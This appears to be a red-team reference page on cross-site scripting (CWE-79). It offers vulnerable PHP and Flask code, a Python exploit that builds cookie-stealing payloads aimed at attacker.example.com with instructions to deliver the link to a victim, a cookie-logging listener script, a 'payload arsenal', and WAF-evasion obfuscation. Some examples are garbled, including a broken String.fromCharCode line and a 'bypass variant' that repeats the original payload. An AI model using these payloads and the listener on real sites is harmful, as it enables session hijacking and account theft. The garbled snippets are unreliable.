CWE-79: Cross-Site Scripting (XSS)

title: "CWE-79: Cross-Site Scripting (XSS)"
description: "Complete red-team reference for CWE-79 — Cross-Site Scripting (XSS). Exploitation techniques, working PoC, payload arsenal, real CVE case studies, and full attack kill chain."
slug: "cwe-79-cross-site-scripting-xss"
date: "2026-04-06"
category: "cwe"
author: "ZeroDay Research Team"
tier: "🔥 Top Critical"
cwe_id: 79
tags: ["CWE-79", "exploit", "red-team", "vulnerability", "top-critical"]
Tier: 🔥 Top Critical
MITRE Reference: CWE-79
CWE-79: Cross-Site Scripting (XSS) - Deep Dive Technical Reference
CWE-79 — Quick Reference Card
- One-line definition: Injecting malicious scripts into trusted websites, which are then executed by unsuspecting users' browsers.
- CVSS impact vectors: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N (Reflect XSS), AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (Stored XSS)
- CWE hierarchy: CWE-79: Cross-Site Scripting (XSS) → CWE-80: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), CWE-20: Improper Input Validation
- OWASP Top 10 mapping: A03:2021 - Injection
- Exploitation frequency: Extremely High. Consistently one of the most prevalent and easily exploited vulnerabilities. CISA KEV catalog includes numerous XSS vulnerabilities.
- Affected targets: All web applications and services that render user-supplied or dynamically generated content without proper sanitization or encoding, across various languages and frameworks (e.g., PHP, Python/Django/Flask, Ruby/Rails, Node.js/Express, Java/Spring, ASP.NET, client-side JavaScript).
Root Cause Analysis
The fundamental root cause of CWE-79 lies in the improper handling of untrusted input when it is rendered within a trusted context, specifically within the user's web browser. Web applications often accept data from users (e.g., form submissions, URL parameters, cookies, HTTP headers) and then display this data back to other users or the same user in a subsequent request. If this data is not sufficiently validated, sanitized, or encoded before being embedded in the HTML, JavaScript, CSS, or other browser-interpretable content, an attacker can inject malicious code.
When the browser receives this injected code, it interprets it as legitimate content originating from the trusted website and executes it. This execution happens within the security context of the vulnerable domain, allowing the injected script to access sensitive information (like cookies, session tokens), perform unauthorized actions on behalf of the user, or redirect the user to malicious sites.
Why this weakness persists:
- Developer Misunderstanding: Many developers lack a deep understanding of the browser's rendering engine, JavaScript execution context, and the nuances of HTML/JavaScript escaping. They might believe simple input validation (e.g., checking for
<script>tags) is sufficient, which is easily bypassed. - Complexity of Modern Web Apps: Modern web applications are highly dynamic, often involving client-side JavaScript frameworks, AJAX, WebSockets, and complex templating engines. This complexity increases the attack surface and the potential for subtle injection points.
- Framework Defaults/Misconfigurations: While many frameworks offer built-in XSS protection mechanisms (e.g., auto-escaping in templating engines), these can be disabled, misconfigured, or bypassed if not used correctly.
- False Sense of Security: Developers might assume that if their application isn't directly interacting with sensitive backend systems, XSS isn't a critical threat. This overlooks the browser's execution context and the impact of credential theft or session hijacking.
- Third-Party Libraries: Vulnerabilities can be introduced through outdated or insecure third-party JavaScript libraries or backend components.
Common programmer mistakes:
- Lack of Encoding: Failing to encode special characters that have meaning in the output context (e.g.,
<to<,>to>,"to",'to'). - Insufficient Validation: Relying on simple blacklist checks (e.g.,
if 'script' in input: return False) which are easily bypassed with case variations, encoding, or alternative tags. - Incorrect Contextual Encoding: Applying encoding for one context (e.g., HTML attribute) but not another (e.g., JavaScript string literal within an HTML attribute).
- Trusting User Input: Directly embedding user-provided data into JavaScript code, event handlers (
onclick,onmouseover), CSS styles, or URL fragments without proper sanitization. - Not Using Libraries: Reinventing the wheel for sanitization/encoding instead of using well-vetted libraries.
Vulnerable Code Snippets:
1. PHP (Reflected XSS)
<?php
// Assume $searchTerm is fetched from $_GET['q'] without sanitization
$searchTerm = $_GET['q'];
?>
<!DOCTYPE html>
<html>
<head>
<title>Search Results</title>
</head>
<body>
<h1>Search Results for: <?php echo $searchTerm; // Vulnerable line ?></h1>
<!-- ... other content ... -->
</body>
</html>- Vulnerable Line:
<?php echo $searchTerm; ?>- User input is directly echoed into the HTML, allowing script injection.
2. Python (Flask - Reflected XSS)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'Guest')
# Vulnerable: directly embedding name into HTML without escaping
html_template = f"""
<!DOCTYPE html>
<html>
<head>
<title>Greeting</title>
</head>
<body>
<h1>Hello, {name}!</h1>
</body>
</html>
"""
return render_template_string(html_template)
if __name__ == '__main__':
app.run(debug=True)- Vulnerable Line:
<h1>Hello, {name}!</h1>- Thenamevariable, derived from user input, is directly interpolated into the HTML string. Flask's default Jinja2 templating does autoescape, butrender_template_stringwith f-strings bypasses that if not carefully handled. A more explicit vulnerability would beeval()or similar, but direct injection into HTML is the classic XSS.
Architecture & Vulnerability Anatomy Diagram
This diagram illustrates a typical Reflected XSS attack flow.
+-----------------+ +--------------------+ +---------------------+ +-------------------+
| Attacker Browser| ----> | Malicious Link URL | ----> | Vulnerable Web Server | ----> | User's Browser |
+-----------------+ +--------------------+ +---------------------+ +-------------------+
^ | (HTTP Request) | (HTTP Response)
| v ^
| +---------------------+ |
| | Server-Side Logic | |
| | (e.g., PHP, Python) | |
| +---------------------+ |
| | |
| | (Untrusted Input) |
| v |
| +---------------------+ |
| | Response Generation | |
| | (HTML, JS, CSS) | |
| +---------------------+ |
| | |
| | (Malicious Script) |
| v |
| +---------------------+ |
| | HTTP Response Body |-------------+
| +---------------------+
| ^
| | (Browser Executes)
+------------------------------------------------------+
+-------------------+
| Attacker's Control|
| (e.g., C2 Server) |
+-------------------+Diagram Explanation:
- Attacker Browser/Malicious Link: The attacker crafts a malicious URL containing a JavaScript payload. This URL is typically delivered via phishing emails, social media posts, or other deceptive means.
- Example URL:
http://vulnerable.com/search?q=<script>alert(document.cookie)</script>
- Example URL:
- Vulnerable Web Server: The target web server receives the HTTP request.
- Server-Side Logic: The application code processes the request. In this case, it extracts the
qparameter (<script>alert(document.cookie)</script>). - Response Generation: The application then incorporates this untrusted input directly into the HTML response it sends back to the user's browser. Crucially, it fails to properly encode or sanitize the
<script>tags and the JavaScript code within.- Generated HTML Snippet:
<h1>Search Results for: <script>alert(document.cookie)</script></h1>
- Generated HTML Snippet:
- User's Browser: The victim's browser receives the HTML response. When it encounters the
<script>tag, it interprets it as legitimate code fromvulnerable.comand executes it. - Attacker's Control: The injected script (
alert(document.cookie)) executes in the context ofvulnerable.com. It can then:- Steal sensitive cookies (
document.cookie). - Send these cookies to an attacker-controlled server.
- Perform actions on behalf of the user (e.g., change passwords, make purchases).
- Redirect the user to a phishing page.
- Steal sensitive cookies (
Exploitation Techniques — Full Red-Team Breakdown
Step 1: Discovery & Reconnaissance
Goal: Identify input fields, URL parameters, headers, or cookies that are reflected in the application's output without proper sanitization.
Manual Testing:
- Parameter Fuzzing: Systematically test all URL parameters, POST data fields, and HTTP headers (especially
User-Agent,Referer,Cookie) for reflection.- Technique: Append common XSS payloads to parameters and observe the response.
- Simple alerts:
?param=<script>alert(1)</script>,?param="><script>alert(1)</script> - Event handlers:
?param=<img src=x onerror=alert(1)> - Attribute injection:
?param=' onmouseover='alert(1) - JavaScript context:
?param=';alert(1)// - HTML context:
?param=<svg onload=alert(1)>
- Simple alerts:
- Technique: Append common XSS payloads to parameters and observe the response.
- DOM Traversal: Analyze client-side JavaScript code for points where user-controlled data is manipulated and inserted into the DOM without sanitization. Look for
innerHTML,outerHTML,document.write,eval(),setTimeout(),setInterval(),new Function(). - Source Code Review (if available): Scan code for direct use of user input in sensitive contexts. Look for common pitfalls like
echoin PHP without escaping,render_template_stringwith raw input in Flask, or direct DOM manipulation in client-side JS.
Automated Scanning:
- Web Vulnerability Scanners (DAST):
- Burp Suite Professional: Scanner module is highly effective. Use its Intruder for targeted fuzzing.
- OWASP ZAP: Similar capabilities to Burp Suite.
- Acunetix, Nessus (Web Application Scanning): Commercial scanners with XSS detection capabilities.
- Static Analysis (SAST):
- CodeQL: Powerful for deep code analysis. Look for patterns like
taintflowfrom user input sources to unsafe sinks (e.g.,document.write,innerHTML). - Semgrep: Can define custom rules to find specific vulnerable patterns.
- Commercial SAST tools: SonarQube, Checkmarx, etc.
- CodeQL: Powerful for deep code analysis. Look for patterns like
Patterns to Look For:
- Input is directly embedded in HTML tags or attributes.
- Input is directly embedded within
<script>blocks or event handlers. - Input is used in
URLproperties of<a>or<img>tags without validation. - Input is used in CSS properties without sanitization (e.g.,
url(...)). eval(),setTimeout(),setInterval(),new Function()with user-controlled strings.
Step 2: Vulnerability Triggering
Goal: Confirm the presence of XSS by successfully executing a simple, harmless payload.
Conditions Required:
- A point where user-controlled input is reflected in the server's response.
- The reflection point must be within a context that the browser interprets as executable (HTML, JavaScript, CSS, URL).
- No effective sanitization or encoding mechanism in place for that specific reflection context.
Test Cases / Proof-of-Concept Payload:
The classic proof-of-concept is to trigger a JavaScript alert() function, typically displaying document.cookie or a unique identifier.
Example Test Case (Reflected XSS):
Target URL: http://vulnerable-app.com/search?query=test
Payload: ?query=<script>alert(document.domain)</script>
Expected Outcome: The browser displays an alert box showing vulnerable-app.com.
Example Test Case (DOM-based XSS):
Target URL: http://vulnerable-app.com/index.html#section=home
HTML (vulnerable-app.com/index.html):
<script>
const section = window.location.hash.split('=')[1];
document.getElementById('content').innerHTML = '<h2>' + section + '</h2>'; // Vulnerable line
</script>
<div id="content"></div>Payload: http://vulnerable-app.com/index.html#section=<img src=x onerror=alert(document.domain)>
Expected Outcome: The onerror event fires, executing the JavaScript and showing an alert box.
Step 3: Full Working Exploit
This Python script demonstrates a Reflected XSS exploit targeting a hypothetical PHP application. It automates the process of finding a vulnerable parameter and injecting a payload to steal cookies.
Target: A web application with a search functionality that reflects the query parameter without sanitization.
Vulnerable URL Structure: http://vulnerable-app.com/search?q=<user_input>
import requests
import sys
import urllib.parse
# --- Configuration ---
TARGET_URL = "http://vulnerable-app.com/search" # Replace with actual target
VULN_PARAM = "q" # Parameter to test
INTERCEPT_URL = "http://attacker.example.com/log" # Your attacker-controlled server URL
# --- End Configuration ---
def send_request(param_value):
"""Sends an HTTP GET request to the target with the given parameter value."""
params = {VULN_PARAM: param_value}
try:
response = requests.get(TARGET_URL, params=params, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f"[-] Error making request: {e}", file=sys.stderr)
return None
def check_vulnerability(param_value):
"""Checks if the parameter value is reflected in the response."""
response = send_request(param_value)
if response and param_value in response.text:
return True
return False
def exploit_xss():
"""Constructs and sends the XSS payload."""
# Payload to send cookies to the attacker's server
# Note: For a real attack, you'd need to host a listener (e.g., a simple Python Flask app)
# at INTERCEPT_URL to receive the stolen cookies.
# This example just demonstrates the payload construction.
# In a real scenario, the payload would likely be:
# <script>document.location='http://attacker.example.com/log?c='+document.cookie</script>
# For demonstration, we'll use a simple alert and then a more advanced payload.
# Step 1: Confirm reflection with a harmless payload
test_payload_html = "<script>alert('XSS_CONFIRMED')</script>"
print(f"[*] Testing for reflection with: {test_payload_html}")
if not check_vulnerability(test_payload_html):
print("[-] Vulnerability not found or reflection failed.")
return
print("[+] Potential XSS vulnerability confirmed. Reflection detected.")
# Step 2: Craft a cookie-stealing payload
# This payload will redirect the user to your logging server with the cookie
# IMPORTANT: You need a web server running at attacker.example.com/log to receive this.
# For local testing, you can use `python -m http.server 8000` and set INTERCEPT_URL to http://localhost:8000/
# And then craft a small listener if needed.
# For simplicity, we'll use a fictional INTERCEPT_URL.
# In a real scenario, ensure INTERCEPT_URL is accessible by the victim and can log requests.
# Encode the payload to prevent premature execution by intermediate proxies or WAFs
# For this simple example, direct injection is shown, but encoding is crucial for real attacks.
# A better approach would be to use JavaScript's encodeURIComponent for parts of the payload
# or use character encoding like \xHH.
# Let's craft a payload that uses document.location for redirection to attacker server
# This is a common and effective technique.
# The payload: <script>window.location.href='http://attacker.example.com/log?c='+document.cookie;</script>
# We need to be careful about characters that might break the URL itself or the HTML context.
# For demonstration, let's assume the context is HTML body.
# A more robust payload using img onerror for broader compatibility and less direct script tag detection
# Payload: <img src=x onerror="window.location.href='http://attacker.example.com/log?c='+document.cookie;">
# This is generally more stealthy than a direct <script> tag.
# Let's use the img onerror payload.
# We need to ensure the ' and " are handled correctly depending on the injection context.
# If injected into an HTML attribute, we'd use quotes. If into HTML body, we can use either.
# Assuming HTML body injection:
cookie_stealing_payload = '<img src=x onerror="window.location.href=\'' + INTERCEPT_URL + '?c=\'+document.cookie;">'
print(f"[*] Attempting to inject cookie-stealing payload:")
print(f" Payload: {cookie_stealing_payload}")
print(f" Targeting: {TARGET_URL}?{VULN_PARAM}=" + urllib.parse.quote(cookie_stealing_payload))
# To actually *trigger* this, you'd need to send this crafted URL to a victim.
# The script itself cannot directly send it to a victim's browser.
# You would typically craft this URL and deliver it via email, chat, etc.
# For demonstration purposes, we'll simulate sending it and checking if it *would* be reflected.
# Simulate sending the actual exploit payload and checking for reflection
# In a real attack, this URL would be sent to the victim.
# Here, we just check if the server *reflects* it back as expected.
if check_vulnerability(cookie_stealing_payload):
print("\n[+] SUCCESS: Cookie-stealing payload reflected in response!")
print("[!] IMPORTANT: You must have a listener running at:")
print(f"[!] {INTERCEPT_URL}")
print("[!] to capture the stolen cookies.")
print("[!] The victim needs to click the crafted URL.")
else:
print("[-] Failed to reflect the cookie-stealing payload. May be filtered or context is different.")
if __name__ == "__main__":
print("--- XSS Exploitation Script ---")
print(f"[*] Target URL: {TARGET_URL}")
print(f"[*] Vulnerable Parameter: {VULN_PARAM}")
print(f"[*] Cookie Intercept URL: {INTERCEPT_URL}")
print("-------------------------------")
# Example: You can manually test a parameter value first
# print(f"[*] Manually testing parameter '{VULN_PARAM}' with value '<script>alert(1)</script>'")
# if check_vulnerability("<script>alert(1)</script>"):
# print("[+] Reflection detected for manual test!")
# else:
# print("[-] No reflection detected for manual test.")
# sys.exit(1)
exploit_xss()To run this:
- Set up a listener: On your attacker machine, run a simple web server to capture the cookies. For example, using Python:
Then setpython -m http.server 8000INTERCEPT_URL = "http://<your-ip>:8000/"in the script. - Replace placeholders: Update
TARGET_URLandVULN_PARAMto match your target. - Execute the script:
python exploit_xss.py - Deliver the URL: The script will output a crafted URL. You need to send this URL to the victim. When the victim clicks it, and if the server reflects the payload, their browser will execute the JavaScript, sending their cookies to your listener.
Expected Output (if vulnerable and listener is running):
--- XSS Exploitation Script ---
[*] Target URL: http://vulnerable-app.com/search
[*] Vulnerable Parameter: q
[*] Cookie Intercept URL: http://192.168.1.100:8000/
-------------------------------
[*] Testing for reflection with: <script>alert('XSS_CONFIRMED')</script>
[+] Potential XSS vulnerability confirmed. Reflection detected.
[*] Attempting to inject cookie-stealing payload:
Payload: <img src=x onerror="window.location.href='http://192.168.1.100:8000/?c='+document.cookie;">
Targeting: http://vulnerable-app.com/search?q=%3Cimg%20src%3Dx%20onerror%3D%22window.location.href%3D%27http%3A%2F%2F192.168.1.100%3A8000%2F%3Fc%3D%27%2Bdocument.cookie%3B%22%3E
[+] SUCCESS: Cookie-stealing payload reflected in response!
[!] IMPORTANT: You must have a listener running at:
[!] http://192.168.1.100:8000/
[!] to capture the stolen cookies.
[!] The victim needs to click the crafted URL.On your listener (e.g., Python HTTP server), you would see a request like:GET /?c=sessionid=abcdef12345;username=victim HTTP/1.1
Step 4: Escalation & Impact
Once an attacker successfully executes arbitrary JavaScript in the victim's browser within the context of the vulnerable application, the impact can be severe.
- Session Hijacking: The most common impact. The injected script can read the user's session cookies (
document.cookie) and send them to the attacker. The attacker can then use these cookies to impersonate the victim, gaining unauthorized access to their account. - Credential Theft: If the page contains login forms or sensitive data entry fields, XSS can be used to capture keystrokes (keylogger) or scrape form data as it's entered.
- Phishing & Social Engineering: The attacker can dynamically modify the content of the page to display fake login prompts, phishing messages, or trick the user into performing actions they wouldn't normally do.
- Defacement: Modify the appearance of the website.
- Malware Distribution: Redirect the user to exploit kits or download malicious files.
- Cross-Site Request Forgery (CSRF) Chaining: While XSS is not CSRF, it can be used to execute CSRF attacks without needing a CSRF token, as the script runs with the user's session. For example, an XSS payload could programmatically submit a form to change the user's password or email address.
- Information Disclosure: Access and exfiltrate any data visible on the page, including personal information, financial details, or internal application data.
- Lateral Movement: If the victim has elevated privileges on the site or if the site is an intranet application, this can be a stepping stone to further compromise the internal network.
- Browser Exploitation: In some advanced scenarios, XSS can be chained with browser vulnerabilities to achieve arbitrary code execution on the victim's machine outside the browser sandbox (though this is increasingly difficult with modern browsers).
Privilege Escalation Paths:
- If the victim user has administrative privileges on the web application, session hijacking via XSS directly leads to administrative control of the application.
- If the XSS payload can be used to trigger an action that requires higher privileges (e.g., submitting a form that only admins can access, via CSRF-like behavior), it can lead to privilege escalation.
Step 5: Tool Arsenal
- Burp Suite Professional:
- Scanner: Automatically detects many XSS vulnerabilities.
- Intruder: For systematic fuzzing of parameters with custom XSS payloads.
- Repeater: For manually crafting and testing payloads.
- Extensions:
- DOM Invader: Specifically designed to find and exploit DOM-based XSS.
- XSS Hunter: Helps in identifying blind XSS vulnerabilities by providing a unique URL that, when visited by the victim, reports back to you.
- Logger++: For managing and analyzing large numbers of requests/responses.
- OWASP ZAP: Similar capabilities to Burp Suite for scanning and manual testing.
- Metasploit Framework:
auxiliary/gather/http_xss_scan: Basic XSS scanner.exploits/windows/browser/: Various browser exploits that might be delivered via XSS.payloads/javascript/: JavaScript payloads for Metasploit.
- Pwntools:
- Excellent for scripting complex exploitation tasks, including crafting payloads and automating web requests.
pwnlib.encoders: Useful for encoding payloads.pwnlib.http.client: For crafting and sending HTTP requests.
- Custom Scripts (Python, Ruby, etc.):
- As demonstrated in Step 3, custom scripts are invaluable for automating reconnaissance, payload delivery, and listener setup.
- Example (Python Listener):
Run this script, and it will listen for incoming GET requests containing afrom http.server import BaseHTTPRequestHandler, HTTPServer import urllib.parse class CookieLogger(BaseHTTPRequestHandler): def do_GET(self): parsed_url = urllib.parse.urlparse(self.path) query_params = urllib.parse.parse_qs(parsed_url.query) if 'c' in query_params: cookies = query_params['c'][0] print(f"[+] STOLEN COOKIES: {cookies}") self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b"Cookies logged.") else: self.send_response(404) self.end_headers() self.wfile.write(b"Not found.") def run(server_class=HTTPServer, handler_class=CookieLogger, port=8000): server_address = ('', port) httpd = server_class(server_address, handler_class) print(f"[*] Starting cookie logger on port {port}...") try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print("\n[*] Stopping cookie logger.") if __name__ == "__main__": run()cparameter with stolen cookies.
Payload Arsenal — 6+ Working Payloads
This arsenal covers various techniques and bypasses for XSS. Assume these are injected into HTML context unless specified.
Basic Cookie Stealer (Reflected/Stored):
- Description: Injects JavaScript to redirect the victim's browser to an attacker-controlled server, passing the
document.cookieas a URL parameter. - Payload:
<script>window.location.href='http://attacker.example.com/log?c='+document.cookie;</script> - WAF Bypass Variant (Encoding):
(Often, direct<script>window.location.href='http://attacker.example.com/log?c='+document.cookie;</script><script>tags are blocked. Use<img>or other tags.)
- Description: Injects JavaScript to redirect the victim's browser to an attacker-controlled server, passing the
Image
onerrorCookie Stealer (Reflected/Stored):- Description: Uses an invalid
<img>tag'sonerrorevent to trigger the same cookie-stealing logic. Less likely to be blocked by simple<script>tag filters. - Payload:
<img src=x onerror="window.location.href='http://attacker.example.com/log?c='+document.cookie;"> - WAF Bypass Variant (Encoding/Alternative Tags):
Or using different event handlers like<svg onload="window.location.href='http://attacker.example.com/log?c='+document.cookie;"></svg>onloadon<body>,<iframe>.
- Description: Uses an invalid
DOM-based XSS -
innerHTMLInjection:- Description: Exploits JavaScript that writes untrusted data into the DOM using
innerHTML. - Targeted URL (example):
http://vulnerable-app.com/page?data=<h1>Hello</h1> - Payload:
?data=<img src=x onerror=alert(document.domain)>(Injects intoinnerHTMLvia thedataparameter) - WAF Bypass: If
onerroris blocked, try other events or encoding.
- Description: Exploits JavaScript that writes untrusted data into the DOM using
DOM-based XSS -
document.writeInjection:- Description: Exploits JavaScript that uses
document.write()with user input. - Targeted URL (example):
http://vulnerable-app.com/page?user_script=<script>alert(1)</script> - Payload:
?user_script=<script>alert(1)</script>(Ifdocument.writeis used likedocument.write(user_script)) - WAF Bypass:
document.writeis often blocked. Try encoding the payload or using alternative methods.
- Description: Exploits JavaScript that uses
Polyglot XSS Payload:
- Description: A single payload that works across multiple contexts (HTML, JavaScript, URL, CSS) and can bypass basic filters.
- Payload:
"';alert(1)//<script>alert(1)</script> - Explanation:
": Closes an HTML attribute if injected into one (e.g.,value="<payload>").';: Closes a JavaScript string literal and a statement if injected into JS.//: Comments out the rest of a JavaScript line.<script>alert(1)</script>: Standard HTML XSS payload.
- WAF Bypass: Polyglots are often the first line of defense against simple filters. More advanced payloads are needed for sophisticated WAFs.
JavaScript String Literal Injection:
- Description: Injecting code into a JavaScript string that is later evaluated or used.
- Vulnerable JS:
var username = "Guest";(ifGuestcomes from user input) - Payload:
Guest";alert('XSS');var x="(If injected into theGuestpart) - WAF Bypass: Encoding characters like
"or'using Unicode (\u0022,\u0027) or hex (\x22,\x27).
SVG-based XSS:
- Description: Leverages SVG's ability to embed scripts and execute events.
- Payload:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1 1"> <rect width="1" height="1" fill="red" onmouseover="alert('XSSed!')" /> </svg> - WAF Bypass: Often works when
<script>tags are blocked.
HTML Attribute Injection (Event Handlers):
- Description: Injecting code into HTML attributes, particularly event handlers.
- Vulnerable HTML:
<input type="text" value="<user_input>"> - Payload:
' onmouseover='alert(1)(If injected intouser_input) - WAF Bypass: Using different event handlers (
onerror,onload,onclick,onfocus) or encoding.
Defense Evasion & Bypass Techniques
WAF Bypass Techniques
Web Application Firewalls (WAFs) are designed to detect and block common attack patterns, including XSS. Bypassing them requires understanding their detection mechanisms and exploiting their limitations.
- Encoding:
- URL Encoding:
%3Cscript%3Ealert(1)%3C/script%3E - HTML Entity Encoding:
<script>alert(1)</script>(decimal:<, hex:<) - Unicode Encoding:
\u003cscript\u003ealert(1)\u003c/script\u003e(for JavaScript strings) - Double Encoding: Encoding already encoded characters. Some WAFs decode once, not multiple times.
- Mixed Encoding: Combining different encoding schemes.
- URL Encoding:
- Case Variations:
sCrIpT,ScRiPt - Obfuscation:
- JavaScript String Manipulation: Splitting strings, using
String.fromCharCode(),eval().eval(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116(1),60,47,115,99,114,105,112,116,62)); - Comments: Inserting comments within tags or attributes.
<sc<!-- comment -->ript>alert(1)</script>
- JavaScript String Manipulation: Splitting strings, using
- Alternative Tags and Events:
- Using
<svg>,<math>,<video>,<audio>,<isindex>,<details>,<summary>,<object>,<embed>,<form>,<input>with various event handlers (onerror,onload,onclick,onmouseover,onfocus,onblur,onanimationstart, etc.).
- Using
